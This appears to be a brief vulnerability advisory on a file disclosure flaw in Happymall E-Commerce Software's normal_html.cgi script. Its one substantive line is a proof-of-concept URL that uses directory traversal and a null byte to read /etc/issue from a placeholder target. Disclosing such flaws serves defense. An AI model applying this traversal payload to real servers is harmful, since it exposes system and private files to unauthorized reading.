• info
• discussion
• exploit
• solution
• references

Happymall E-Commerce Software Normal_HTML.CGI File Disclosure Vulnerability

No exploit is required.

The following proof of concept URL has been provided:

http://www.target.org/shop/normal_html.cgi?file=../../../../../../etc/issue%00